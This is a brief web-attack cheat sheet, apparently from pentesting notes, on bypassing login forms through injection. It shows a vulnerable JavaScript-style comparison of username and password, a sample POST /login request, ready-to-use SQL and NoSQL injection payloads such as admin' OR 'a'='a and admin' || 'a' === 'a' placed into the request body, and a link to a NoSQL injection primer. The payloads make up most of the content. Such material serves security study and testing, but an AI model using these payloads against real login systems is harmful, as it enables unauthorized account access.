PRIMARY CATEGORY → WEB ATTACKS
Theory
🛠️⌛
Auth Bypass
Login Form
Code
this.username === '${value}' && this.password === '${value}'Request
POST /login HTTP/1.1
<SNIP>
Content-Type: application/x-www-form-urlencoded
username=<USER>&password=<PASSWD>Payload
SQLi →
admin' OR 'a'='a
admin' || 'a' === 'ae.g.
username=admin' || 'a' === 'a&password=test
Resources
Null Sweep: A NoSQL Injection Primer with MongoDB